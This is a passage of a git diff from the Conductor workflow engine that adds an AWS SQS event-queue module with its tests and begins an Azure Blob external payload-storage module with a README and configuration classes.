+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.sqs.eventqueue; + +import java.util.ArrayList; +import java.util.Collections; +import java.util.HashMap; +import java.util.LinkedList; +import java.util.List; +import java.util.Map; +import java.util.concurrent.TimeUnit; +import java.util.stream.Collectors; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +import com.netflix.conductor.core.events.queue.Message; +import com.netflix.conductor.core.events.queue.ObservableQueue; +import com.netflix.conductor.metrics.Monitors; + +import com.fasterxml.jackson.annotation.JsonProperty; +import com.fasterxml.jackson.core.JsonProcessingException; +import com.fasterxml.jackson.databind.ObjectMapper; +import rx.Observable; +import rx.Observable.OnSubscribe; +import rx.Scheduler; +import software.amazon.awssdk.services.sqs.SqsClient; +import software.amazon.awssdk.services.sqs.model.BatchResultErrorEntry; +import software.amazon.awssdk.services.sqs.model.ChangeMessageVisibilityRequest; +import software.amazon.awssdk.services.sqs.model.CreateQueueRequest; +import software.amazon.awssdk.services.sqs.model.CreateQueueResponse; +import software.amazon.awssdk.services.sqs.model.DeleteMessageBatchRequest; +import software.amazon.awssdk.services.sqs.model.DeleteMessageBatchRequestEntry; +import software.amazon.awssdk.services.sqs.model.DeleteMessageBatchResponse; +import software.amazon.awssdk.services.sqs.model.GetQueueAttributesRequest; +import software.amazon.awssdk.services.sqs.model.GetQueueAttributesResponse; +import software.amazon.awssdk.services.sqs.model.ListQueuesRequest; +import software.amazon.awssdk.services.sqs.model.ListQueuesResponse; +import software.amazon.awssdk.services.sqs.model.QueueAttributeName; +import software.amazon.awssdk.services.sqs.model.ReceiveMessageRequest; +import software.amazon.awssdk.services.sqs.model.ReceiveMessageResponse; +import software.amazon.awssdk.services.sqs.model.SendMessageBatchRequest; +import software.amazon.awssdk.services.sqs.model.SendMessageBatchRequestEntry; +import software.amazon.awssdk.services.sqs.model.SendMessageBatchResponse; +import software.amazon.awssdk.services.sqs.model.SetQueueAttributesRequest; +import software.amazon.awssdk.services.sqs.model.SetQueueAttributesResponse; + +public class SQSObservableQueue implements ObservableQueue { + + private static final Logger LOGGER = LoggerFactory.getLogger(SQSObservableQueue.class); + private static final String QUEUE_TYPE = "sqs"; + + private final String queueName; + private final int visibilityTimeoutInSeconds; + private final int batchSize; + private final SqsClient client; + private final long pollTimeInMS; + private final String queueURL; + private final Scheduler scheduler; + private volatile boolean running; + + private SQSObservableQueue( + String queueName, + SqsClient client, + int visibilityTimeoutInSeconds, + int batchSize, + long pollTimeInMS, + List accountsToAuthorize, + Scheduler scheduler) { + this.queueName = queueName; + this.client = client; + this.visibilityTimeoutInSeconds = visibilityTimeoutInSeconds; + this.batchSize = batchSize; + this.pollTimeInMS = pollTimeInMS; + this.queueURL = getOrCreateQueue(); + this.scheduler = scheduler; + addPolicy(accountsToAuthorize); + } + + @Override + public Observable observe() { + OnSubscribe subscriber = getOnSubscribe(); + return Observable.create(subscriber); + } + + @Override + public List ack(List messages) { + return delete(messages); + } + + @Override + public void publish(List messages) { + publishMessages(messages); + } + + @Override + public long size() { + try { + GetQueueAttributesRequest request = + GetQueueAttributesRequest.builder() + .queueUrl(queueURL) + .attributeNames(QueueAttributeName.APPROXIMATE_NUMBER_OF_MESSAGES) + .build(); + + GetQueueAttributesResponse response = client.getQueueAttributes(request); + String sizeAsStr = + response.attributes().get(QueueAttributeName.APPROXIMATE_NUMBER_OF_MESSAGES); + + return Long.parseLong(sizeAsStr); + } catch (Exception e) { + return -1; + } + } + + @Override + public void setUnackTimeout(Message message, long unackTimeout) { + int unackTimeoutInSeconds = (int) (unackTimeout / 1000); + ChangeMessageVisibilityRequest request = + ChangeMessageVisibilityRequest.builder() + .queueUrl(queueURL) + .receiptHandle(message.getReceipt()) + .visibilityTimeout(unackTimeoutInSeconds) + .build(); + client.changeMessageVisibility(request); + } + + @Override + public String getType() { + return QUEUE_TYPE; + } + + @Override + public String getName() { + return queueName; + } + + @Override + public String getURI() { + return queueURL; + } + + public long getPollTimeInMS() { + return pollTimeInMS; + } + + public int getBatchSize() { + return batchSize; + } + + public int getVisibilityTimeoutInSeconds() { + return visibilityTimeoutInSeconds; + } + + @Override + public void start() { + LOGGER.info("Started listening to {}:{}", getClass().getSimpleName(), queueName); + running = true; + } + + @Override + public void stop() { + LOGGER.info("Stopped listening to {}:{}", getClass().getSimpleName(), queueName); + running = false; + } + + @Override + public boolean isRunning() { + return running; + } + + public static class Builder { + + private String queueName; + private int visibilityTimeout = 30; // seconds + private int batchSize = 5; + private long pollTimeInMS = 100; + private SqsClient client; + private List accountsToAuthorize = new LinkedList<>(); + private Scheduler scheduler; + + public Builder withQueueName(String queueName) { + this.queueName = queueName; + return this; + } + + /** + * @param visibilityTimeout Visibility timeout for the message in SECONDS + * @return builder instance + */ + public Builder withVisibilityTimeout(int visibilityTimeout) { + this.visibilityTimeout = visibilityTimeout; + return this; + } + + public Builder withBatchSize(int batchSize) { + this.batchSize = batchSize; + return this; + } + + public Builder withClient(SqsClient client) { + this.client = client; + return this; + } + + public Builder withPollTimeInMS(long pollTimeInMS) { + this.pollTimeInMS = pollTimeInMS; + return this; + } + + public Builder withAccountsToAuthorize(List accountsToAuthorize) { + this.accountsToAuthorize = accountsToAuthorize; + return this; + } + + public Builder addAccountToAuthorize(String accountToAuthorize) { + this.accountsToAuthorize.add(accountToAuthorize); + return this; + } + + public Builder withScheduler(Scheduler scheduler) { + this.scheduler = scheduler; + return this; + } + + public SQSObservableQueue build() { + return new SQSObservableQueue( + queueName, + client, + visibilityTimeout, + batchSize, + pollTimeInMS, + accountsToAuthorize, + scheduler); + } + } + + // Private methods + String getOrCreateQueue() { + List queueUrls = listQueues(queueName); + if (queueUrls == null || queueUrls.isEmpty()) { + CreateQueueRequest createQueueRequest = + CreateQueueRequest.builder().queueName(queueName).build(); + CreateQueueResponse result = client.createQueue(createQueueRequest); + return result.queueUrl(); + } else { + return queueUrls.get(0); + } + } + + private String getQueueARN() { + GetQueueAttributesRequest request = + GetQueueAttributesRequest.builder() + .queueUrl(queueURL) + .attributeNames(QueueAttributeName.QUEUE_ARN) + .build(); + GetQueueAttributesResponse response = client.getQueueAttributes(request); + return response.attributes().get(QueueAttributeName.QUEUE_ARN); + } + + private void addPolicy(List accountsToAuthorize) { + if (accountsToAuthorize == null || accountsToAuthorize.isEmpty()) { + LOGGER.info("No additional security policies attached for the queue " + queueName); + return; + } + LOGGER.info("Authorizing " + accountsToAuthorize + " to the queue " + queueName); + Map attributes = new HashMap<>(); + attributes.put(QueueAttributeName.POLICY, getPolicy(accountsToAuthorize)); + + SetQueueAttributesRequest request = + SetQueueAttributesRequest.builder() + .queueUrl(queueURL) + .attributes(attributes) + .build(); + SetQueueAttributesResponse result = client.setQueueAttributes(request); + LOGGER.info("policy attachment result: " + result); + LOGGER.info("policy attachment result: status=" + result.sdkHttpResponse().statusCode()); + } + + private String getPolicy(List accountIds) { + if (accountIds == null || accountIds.isEmpty()) { + return null; + } + + try { + SqsPolicy policy = new SqsPolicy(); + policy.setVersion("2012-10-17"); + + SqsStatement statement = new SqsStatement(); + statement.setEffect("Allow"); + statement.setAction("sqs:SendMessage"); + statement.setResource(getQueueARN()); + + SqsPrincipal principal = new SqsPrincipal(); + principal.setAws(new ArrayList<>(accountIds)); + statement.setPrincipal(principal); + + policy.setStatement(List.of(statement)); + + ObjectMapper objectMapper = new ObjectMapper(); + return objectMapper.writeValueAsString(policy); + } catch (JsonProcessingException e) { + LOGGER.error("Failed to generate SQS policy for accounts: {}", accountIds, e); + throw new RuntimeException("Failed to generate SQS policy", e); + } + } + + private List listQueues(String queueName) { + ListQueuesRequest listQueuesRequest = + ListQueuesRequest.builder().queueNamePrefix(queueName).build(); + ListQueuesResponse resultList = client.listQueues(listQueuesRequest); + return resultList.queueUrls().stream() + .filter(queueUrl -> queueUrl.contains(queueName)) + .collect(Collectors.toList()); + } + + private void publishMessages(List messages) { + LOGGER.debug("Sending {} messages to the SQS queue: {}", messages.size(), queueName); + + List entries = + messages.stream() + .map( + msg -> + SendMessageBatchRequestEntry.builder() + .id(msg.getId()) + .messageBody(msg.getPayload()) + .build()) + .collect(Collectors.toList()); + + SendMessageBatchRequest batch = + SendMessageBatchRequest.builder().queueUrl(queueURL).entries(entries).build(); + + LOGGER.debug("sending {} messages in batch", entries.size()); + SendMessageBatchResponse result = client.sendMessageBatch(batch); + LOGGER.debug("send result: {} for SQS queue: {}", result.failed().toString(), queueName); + } + + List receiveMessages() { + try { + ReceiveMessageRequest receiveMessageRequest = + ReceiveMessageRequest.builder() + .queueUrl(queueURL) + .visibilityTimeout(visibilityTimeoutInSeconds) + .maxNumberOfMessages(batchSize) + .build(); + + ReceiveMessageResponse result = client.receiveMessage(receiveMessageRequest); + + List messages = + result.messages().stream() + .map( + msg -> + new Message( + msg.messageId(), + msg.body(), + msg.receiptHandle())) + .collect(Collectors.toList()); + Monitors.recordEventQueueMessagesProcessed(QUEUE_TYPE, this.queueName, messages.size()); + return messages; + } catch (Exception e) { + LOGGER.error("Exception while getting messages from SQS", e); + Monitors.recordObservableQMessageReceivedErrors(QUEUE_TYPE); + } + return new ArrayList<>(); + } + + OnSubscribe getOnSubscribe() { + return subscriber -> { + Observable interval = Observable.interval(pollTimeInMS, TimeUnit.MILLISECONDS); + interval.flatMap( + (Long x) -> { + if (!isRunning()) { + LOGGER.debug( + "Component stopped, skip listening for messages from SQS"); + return Observable.from(Collections.emptyList()); + } + List messages = receiveMessages(); + return Observable.from(messages); + }) + .subscribe(subscriber::onNext, subscriber::onError); + }; + } + + private List delete(List messages) { + if (messages == null || messages.isEmpty()) { + return null; + } + + List entries = + messages.stream() + .map( + m -> + DeleteMessageBatchRequestEntry.builder() + .id(m.getId()) + .receiptHandle(m.getReceipt()) + .build()) + .collect(Collectors.toList()); + + DeleteMessageBatchRequest batch = + DeleteMessageBatchRequest.builder().queueUrl(queueURL).entries(entries).build(); + + DeleteMessageBatchResponse result = client.deleteMessageBatch(batch); + List failures = + result.failed().stream() + .map(BatchResultErrorEntry::id) + .collect(Collectors.toList()); + LOGGER.debug("Failed to delete messages from queue: {}: {}", queueName, failures); + return failures; + } + + private static class SqsPolicy { + @JsonProperty("Version") + private String version; + + @JsonProperty("Statement") + private List statement; + + public String getVersion() { + return version; + } + + public void setVersion(String version) { + this.version = version; + } + + public List getStatement() { + return statement; + } + + public void setStatement(List statement) { + this.statement = statement; + } + } + + private static class SqsStatement { + @JsonProperty("Effect") + private String effect; + + @JsonProperty("Principal") + private SqsPrincipal principal; + + @JsonProperty("Action") + private String action; + + @JsonProperty("Resource") + private String resource; + + public String getEffect() { + return effect; + } + + public void setEffect(String effect) { + this.effect = effect; + } + + public SqsPrincipal getPrincipal() { + return principal; + } + + public void setPrincipal(SqsPrincipal principal) { + this.principal = principal; + } + + public String getAction() { + return action; + } + + public void setAction(String action) { + this.action = action; + } + + public String getResource() { + return resource; + } + + public void setResource(String resource) { + this.resource = resource; + } + } + + private static class SqsPrincipal { + @JsonProperty("AWS") + private List aws; + + public List getAws() { + return aws; + } + + public void setAws(List aws) { + this.aws = aws; + } + } +} diff --git a/awssqs-event-queue/src/main/resources/META-INF/additional-spring-configuration-metadata.json b/awssqs-event-queue/src/main/resources/META-INF/additional-spring-configuration-metadata.json new file mode 100644 index 0000000..2cc76ff --- /dev/null +++ b/awssqs-event-queue/src/main/resources/META-INF/additional-spring-configuration-metadata.json @@ -0,0 +1,27 @@ +{ + "properties": [ + { + "name": "conductor.event-queues.sqs.enabled", + "type": "java.lang.Boolean", + "description": "Enable the use of AWS SQS implementation to provide queues for consuming events.", + "sourceType": "com.netflix.conductor.sqs.config.SQSEventQueueConfiguration" + }, + { + "name": "conductor.default-event-queue.type", + "type": "java.lang.String", + "description": "The default event queue type to listen on for the WAIT task.", + "sourceType": "com.netflix.conductor.sqs.config.SQSEventQueueConfiguration" + } + ], + "hints": [ + { + "name": "conductor.default-event-queue.type", + "values": [ + { + "value": "sqs", + "description": "Use AWS SQS as the event queue to listen on for the WAIT task." + } + ] + } + ] +} \ No newline at end of file diff --git a/awssqs-event-queue/src/test/java/com/netflix/conductor/sqs/eventqueue/DefaultEventQueueProcessorTest.java b/awssqs-event-queue/src/test/java/com/netflix/conductor/sqs/eventqueue/DefaultEventQueueProcessorTest.java new file mode 100644 index 0000000..bb88855 --- /dev/null +++ b/awssqs-event-queue/src/test/java/com/netflix/conductor/sqs/eventqueue/DefaultEventQueueProcessorTest.java @@ -0,0 +1,160 @@ +/* + * Copyright 2022 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.sqs.eventqueue; + +import java.util.*; +import java.util.concurrent.TimeUnit; + +import org.junit.*; +import org.junit.runner.RunWith; +import org.mockito.stubbing.Answer; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.test.context.ContextConfiguration; +import org.springframework.test.context.junit4.SpringRunner; + +import com.netflix.conductor.common.config.TestObjectMapperConfiguration; +import com.netflix.conductor.common.metadata.tasks.TaskResult; +import com.netflix.conductor.core.events.queue.DefaultEventQueueProcessor; +import com.netflix.conductor.core.events.queue.Message; +import com.netflix.conductor.core.events.queue.ObservableQueue; +import com.netflix.conductor.core.execution.WorkflowExecutor; +import com.netflix.conductor.model.TaskModel; +import com.netflix.conductor.model.TaskModel.Status; +import com.netflix.conductor.model.WorkflowModel; + +import com.fasterxml.jackson.databind.ObjectMapper; +import com.google.common.util.concurrent.Uninterruptibles; + +import static com.netflix.conductor.common.metadata.tasks.TaskType.TASK_TYPE_WAIT; + +import static org.junit.Assert.*; +import static org.mockito.ArgumentMatchers.*; +import static org.mockito.Mockito.*; + +@ContextConfiguration(classes = {TestObjectMapperConfiguration.class}) +@RunWith(SpringRunner.class) +public class DefaultEventQueueProcessorTest { + + private static SQSObservableQueue queue; + private static WorkflowExecutor workflowExecutor; + private DefaultEventQueueProcessor defaultEventQueueProcessor; + + @Autowired private ObjectMapper objectMapper; + + private static final List messages = new LinkedList<>(); + private static final List updatedTasks = new LinkedList<>(); + + @BeforeClass + public static void setupMocks() { + queue = mock(SQSObservableQueue.class); + + when(queue.getOrCreateQueue()).thenReturn("junit_queue_url"); + when(queue.isRunning()).thenReturn(true); + when(queue.receiveMessages()) + .thenAnswer( + (Answer>) + invocation -> { + List copy = new ArrayList<>(messages); + messages.clear(); + return copy; + }); + when(queue.getOnSubscribe()).thenCallRealMethod(); + when(queue.observe()).thenCallRealMethod(); + when(queue.getName()).thenReturn(Status.COMPLETED.name()); + + doAnswer( + invocation -> { + List msgs = invocation.getArgument(0); + messages.addAll(msgs); + return null; + }) + .when(queue) + .publish(any()); + + workflowExecutor = mock(WorkflowExecutor.class); + assertNotNull(workflowExecutor); + + TaskModel task0 = createTask("t0", TASK_TYPE_WAIT, Status.IN_PROGRESS); + WorkflowModel workflow0 = createWorkflow("v_0", task0); + doReturn(workflow0).when(workflowExecutor).getWorkflow(eq("v_0"), anyBoolean()); + + TaskModel task2 = createTask("t2", TASK_TYPE_WAIT, Status.IN_PROGRESS); + WorkflowModel workflow2 = createWorkflow("v_2", task2); + doReturn(workflow2).when(workflowExecutor).getWorkflow(eq("v_2"), anyBoolean()); + + doAnswer( + invocation -> { + TaskResult result = invocation.getArgument(0); + updatedTasks.add(result); + return null; + }) + .when(workflowExecutor) + .updateTask(any(TaskResult.class)); + } + + @Before + public void initProcessor() { + messages.clear(); + updatedTasks.clear(); + Map queues = new HashMap<>(); + queues.put(Status.COMPLETED, queue); + defaultEventQueueProcessor = + new DefaultEventQueueProcessor(queues, workflowExecutor, objectMapper); + } + + @Test + public void shouldUpdateTaskByReferenceName() throws Exception { + defaultEventQueueProcessor.updateByTaskRefName( + "v_0", "t0", new HashMap<>(), Status.COMPLETED); + for (int i = 0; + i < 10 && updatedTasks.stream().noneMatch(t -> "t0".equals(t.getTaskId())); + i++) { + Uninterruptibles.sleepUninterruptibly(500, TimeUnit.MILLISECONDS); + } + assertTrue(updatedTasks.stream().anyMatch(task -> "t0".equals(task.getTaskId()))); + } + + @Test(expected = IllegalArgumentException.class) + public void shouldThrowExceptionForUnknownWorkflow() throws Exception { + defaultEventQueueProcessor.updateByTaskRefName( + "v_1", "t1", new HashMap<>(), Status.CANCELED); + Uninterruptibles.sleepUninterruptibly(1_000, TimeUnit.MILLISECONDS); + } + + @Test + public void shouldUpdateTaskByTaskId() throws Exception { + defaultEventQueueProcessor.updateByTaskId("v_2", "t2", new HashMap<>(), Status.COMPLETED); + for (int i = 0; + i < 10 && updatedTasks.stream().noneMatch(t -> "t2".equals(t.getTaskId())); + i++) { + Uninterruptibles.sleepUninterruptibly(500, TimeUnit.MILLISECONDS); + } + assertTrue(updatedTasks.stream().anyMatch(task -> "t2".equals(task.getTaskId()))); + } + + private static TaskModel createTask(String taskId, String type, Status status) { + TaskModel task = new TaskModel(); + task.setTaskId(taskId); + task.setTaskType(type); + task.setStatus(status); + task.setReferenceTaskName(taskId); + return task; + } + + private static WorkflowModel createWorkflow(String workflowId, TaskModel task) { + WorkflowModel workflow = new WorkflowModel(); + workflow.setWorkflowId(workflowId); + workflow.getTasks().add(task); + return workflow; + } +} diff --git a/awssqs-event-queue/src/test/java/com/netflix/conductor/sqs/eventqueue/SQSObservableQueueTest.java b/awssqs-event-queue/src/test/java/com/netflix/conductor/sqs/eventqueue/SQSObservableQueueTest.java new file mode 100644 index 0000000..ff8869d --- /dev/null +++ b/awssqs-event-queue/src/test/java/com/netflix/conductor/sqs/eventqueue/SQSObservableQueueTest.java @@ -0,0 +1,179 @@ +/* + * Copyright 2022 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.sqs.eventqueue; + +import java.lang.reflect.Method; +import java.util.Arrays; +import java.util.Collections; +import java.util.LinkedList; +import java.util.List; +import java.util.concurrent.TimeUnit; + +import org.junit.Test; +import org.mockito.stubbing.Answer; + +import com.netflix.conductor.core.events.queue.Message; + +import com.fasterxml.jackson.databind.JsonNode; +import com.fasterxml.jackson.databind.ObjectMapper; +import com.google.common.util.concurrent.Uninterruptibles; +import rx.Observable; +import software.amazon.awssdk.services.sqs.SqsClient; +import software.amazon.awssdk.services.sqs.model.GetQueueAttributesRequest; +import software.amazon.awssdk.services.sqs.model.GetQueueAttributesResponse; +import software.amazon.awssdk.services.sqs.model.ListQueuesRequest; +import software.amazon.awssdk.services.sqs.model.ListQueuesResponse; +import software.amazon.awssdk.services.sqs.model.ReceiveMessageRequest; +import software.amazon.awssdk.services.sqs.model.ReceiveMessageResponse; + +import static org.junit.Assert.assertEquals; +import static org.junit.Assert.assertNotNull; +import static org.junit.Assert.assertTrue; +import static org.mockito.ArgumentMatchers.any; +import static org.mockito.Mockito.mock; +import static org.mockito.Mockito.when; + +public class SQSObservableQueueTest { + + @Test + public void test() { + + List messages = new LinkedList<>(); + Observable.range(0, 10) + .forEach((Integer x) -> messages.add(new Message("" + x, "payload: " + x, null))); + assertEquals(10, messages.size()); + + SQSObservableQueue queue = mock(SQSObservableQueue.class); + when(queue.getOrCreateQueue()).thenReturn("junit_queue_url"); + Answer answer = (Answer>) invocation -> Collections.emptyList(); + when(queue.receiveMessages()).thenReturn(messages).thenAnswer(answer); + when(queue.isRunning()).thenReturn(true); + when(queue.getOnSubscribe()).thenCallRealMethod(); + when(queue.observe()).thenCallRealMethod(); + + List found = new LinkedList<>(); + Observable observable = queue.observe(); + assertNotNull(observable); + observable.subscribe(found::add); + + Uninterruptibles.sleepUninterruptibly(1000, TimeUnit.MILLISECONDS); + + assertEquals(messages.size(), found.size()); + assertEquals(messages, found); + } + + @Test + public void testException() { + software.amazon.awssdk.services.sqs.model.Message message = + software.amazon.awssdk.services.sqs.model.Message.builder() + .messageId("test") + .body("") + .receiptHandle("receiptHandle") + .build(); + + Answer answer = + (Answer) + invocation -> ReceiveMessageResponse.builder().build(); + + SqsClient client = mock(SqsClient.class); + when(client.listQueues(any(ListQueuesRequest.class))) + .thenReturn(ListQueuesResponse.builder().queueUrls("junit_queue_url").build()); + when(client.receiveMessage(any(ReceiveMessageRequest.class))) + .thenThrow(new RuntimeException("Error in SQS communication")) + .thenReturn(ReceiveMessageResponse.builder().messages(message).build()) + .thenAnswer(answer); + + SQSObservableQueue queue = + new SQSObservableQueue.Builder().withQueueName("junit").withClient(client).build(); + queue.start(); + + List found = new LinkedList<>(); + Observable observable = queue.observe(); + assertNotNull(observable); + observable.subscribe(found::add); + + Uninterruptibles.sleepUninterruptibly(1000, TimeUnit.MILLISECONDS); + assertEquals(1, found.size()); + } + + @Test + public void testPolicyJsonFormat() throws Exception { + // Mock SQS client + SqsClient client = mock(SqsClient.class); + when(client.listQueues(any(ListQueuesRequest.class))) + .thenReturn( + ListQueuesResponse.builder() + .queueUrls( + "https://sqs.us-east-1.amazonaws.com/123456789012/test-queue") + .build()); + when(client.getQueueAttributes(any(GetQueueAttributesRequest.class))) + .thenReturn( + GetQueueAttributesResponse.builder() + .attributesWithStrings( + Collections.singletonMap( + "QueueArn", + "arn:aws:sqs:us-east-1:123456789012:test-queue")) + .build()); + + // Create queue instance using reflection to access private getPolicy method + SQSObservableQueue queue = + new SQSObservableQueue.Builder() + .withQueueName("test-queue") + .withClient(client) + .build(); + + // Use reflection to call private getPolicy method + Method getPolicyMethod = + SQSObservableQueue.class.getDeclaredMethod("getPolicy", List.class); + getPolicyMethod.setAccessible(true); + + List accountIds = Arrays.asList("111122223333", "444455556666"); + String policyJson = (String) getPolicyMethod.invoke(queue, accountIds); + + // Parse the JSON and verify structure + ObjectMapper mapper = new ObjectMapper(); + JsonNode policyNode = mapper.readTree(policyJson); + + // Verify top-level fields have correct capitalization + assertTrue("Policy must have 'Version' field", policyNode.has("Version")); + assertTrue("Policy must have 'Statement' field", policyNode.has("Statement")); + assertEquals("2012-10-17", policyNode.get("Version").asText()); + + // Verify Statement array + JsonNode statementArray = policyNode.get("Statement"); + assertTrue("Statement must be an array", statementArray.isArray()); + assertEquals(1, statementArray.size()); + + // Verify Statement object fields + JsonNode statement = statementArray.get(0); + assertTrue("Statement must have 'Effect' field", statement.has("Effect")); + assertTrue("Statement must have 'Principal' field", statement.has("Principal")); + assertTrue("Statement must have 'Action' field", statement.has("Action")); + assertTrue("Statement must have 'Resource' field", statement.has("Resource")); + + assertEquals("Allow", statement.get("Effect").asText()); + assertEquals("sqs:SendMessage", statement.get("Action").asText()); + assertEquals( + "arn:aws:sqs:us-east-1:123456789012:test-queue", + statement.get("Resource").asText()); + + // Verify Principal object + JsonNode principal = statement.get("Principal"); + assertTrue("Principal must have 'AWS' field", principal.has("AWS")); + JsonNode awsArray = principal.get("AWS"); + assertTrue("AWS must be an array", awsArray.isArray()); + assertEquals(2, awsArray.size()); + assertEquals("111122223333", awsArray.get(0).asText()); + assertEquals("444455556666", awsArray.get(1).asText()); + } +} diff --git a/azureblob-storage/README.md b/azureblob-storage/README.md new file mode 100644 index 0000000..e562f10 --- /dev/null +++ b/azureblob-storage/README.md @@ -0,0 +1,45 @@ +# Azure Blob External Storage Module + +This module use azure blob to store and retrieve workflows/tasks input/output payload that +went over the thresholds defined in properties named `conductor.[workflow|task].[input|output].payload.threshold.kb`. + +**Warning** Azure Java SDK use libs already present inside `conductor` like `jackson` and `netty`. +You may encounter deprecated issues, or conflicts and need to adapt the code if the module is not maintained along with `conductor`. +It has only been tested with **v12.2.0**. + +## Configuration + +### Usage + +Documentation [External Payload Storage]([https://netflix.github.io/conductor/externalpayloadstorage/#azure-blob-storage](https://docs.conductor-oss.org/documentation/advanced/externalpayloadstorage.html)) + +See [https://docs.conductor-oss.org/documentation/advanced/externalpayloadstorage.html]() for more details +### Example + +```properties +conductor.additional.modules=com.netflix.conductor.azureblob.AzureBlobModule +es.set.netty.runtime.available.processors=false + +workflow.external.payload.storage=AZURE_BLOB +workflow.external.payload.storage.azure_blob.connection_string=DefaultEndpointsProtocol=http;AccountName=devstoreaccount1;AccountKey=Eby8vdM02xNOcqFlqUwJPLlmEtlCDXJ1OUzFT50uSRZ6IFsuFq2UVErCz4I6tq/K1SZFPTOtr/KBHBeksoGMGw==;BlobEndpoint=http://127.0.0.1:10000/devstoreaccount1;EndpointSuffix=localhost +workflow.external.payload.storage.azure_blob.signedurlexpirationseconds=360 +``` + +## Testing + +You can use [Azurite](https://github.com/Azure/Azurite) to simulate an Azure Storage. + +### Troubleshoots + +* When using **es5 persistance** you will receive an `java.lang.IllegalStateException` because the Netty lib will call `setAvailableProcessors` two times. To resolve this issue you need to set the following system property + +``` +es.set.netty.runtime.available.processors=false +``` + +If you want to change the default HTTP client of azure sdk, you can use `okhttp` instead of `netty`. +For that you need to add the following [dependency](https://github.com/Azure/azure-sdk-for-java/tree/master/sdk/storage/azure-storage-blob#default-http-client). + +``` +com.azure:azure-core-http-okhttp:${compatible version} +``` diff --git a/azureblob-storage/build.gradle b/azureblob-storage/build.gradle new file mode 100644 index 0000000..8e4b462 --- /dev/null +++ b/azureblob-storage/build.gradle @@ -0,0 +1,8 @@ +dependencies { + compileOnly 'org.springframework.boot:spring-boot-starter' + implementation project(':conductor-common') + implementation project(':conductor-core') + + implementation "com.azure:azure-storage-blob:${revAzureStorageBlobSdk}" + implementation "org.apache.commons:commons-lang3" +} diff --git a/azureblob-storage/src/main/java/com/netflix/conductor/azureblob/config/AzureBlobConfiguration.java b/azureblob-storage/src/main/java/com/netflix/conductor/azureblob/config/AzureBlobConfiguration.java new file mode 100644 index 0000000..49c0a2f --- /dev/null +++ b/azureblob-storage/src/main/java/com/netflix/conductor/azureblob/config/AzureBlobConfiguration.java @@ -0,0 +1,34 @@ +/* + * Copyright 2023 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.azureblob.config; + +import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty; +import org.springframework.boot.context.properties.EnableConfigurationProperties; +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.Configuration; + +import com.netflix.conductor.azureblob.storage.AzureBlobPayloadStorage; +import com.netflix.conductor.common.utils.ExternalPayloadStorage; +import com.netflix.conductor.core.utils.IDGenerator; + +@Configuration(proxyBeanMethods = false) +@EnableConfigurationProperties(AzureBlobProperties.class) +@ConditionalOnProperty(name = "conductor.external-payload-storage.type", havingValue = "azureblob") +public class AzureBlobConfiguration { + + @Bean + public ExternalPayloadStorage azureBlobExternalPayloadStorage( + IDGenerator idGenerator, AzureBlobProperties properties) { + return new AzureBlobPayloadStorage(idGenerator, properties); + } +} diff --git a/azureblob-storage/src/main/java/com/netflix/conductor/azureblob/config/AzureBlobProperties.java b/azureblob-storage/src/main/java/com/netflix/conductor/azureblob/config/AzureBlobProperties.java new file mode 100644 index 0000000..3932bd6 --- /dev/null +++ b/azureblob-storage/src/main/java/com/netflix/conductor/azureblob/config/AzureBlobProperties.java @@ -0,0 +1,123 @@ +/* + * Copyright 2023 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.azureblob.config; + +import java.time.Duration; +import java.time.temporal.ChronoUnit; + +import org.springframework.boot.context.properties.ConfigurationProperties; +import org.springframework.boot.convert.DurationUnit; + +@ConfigurationProperties("conductor.external-payload-storage.azureblob") +public class AzureBlobProperties { + + /** The connection string to be used to connect to Azure Blob storage */ + private String connectionString = null; + + /** The name of the container where the payloads will be stored */ + private String containerName = "conductor-payloads"; + + /** The endpoint to be used to connect to Azure Blob storage */ + private String endpoint = null; + + /** The sas token to be used for authenticating requests */ + private String sasToken = null; + + /** The time for which the shared access signature is valid */ + @DurationUnit(ChronoUnit.SECONDS) + private Duration signedUrlExpirationDuration = Duration.ofSeconds(5); + + /** The path at which the workflow inputs will be stored */ + private String workflowInputPath = "workflow/input/"; + + /** The path at which the workflow outputs will be stored */ + private String workflowOutputPath = "workflow/output/"; + + /** The path at which the task inputs will be stored */ + private String taskInputPath = "task/input/"; + + /** The path at which the task outputs will be stored */ + private String taskOutputPath = "task/output/"; + + public String getConnectionString() { + return connectionString; + } + + public void setConnectionString(String connectionString) { + this.connectionString = connectionString; + } + + public String getContainerName() { + return containerName; + } + + public void setContainerName(String containerName) { + this.containerName = containerName; + } + + public String getEndpoint() { + return endpoint; + } 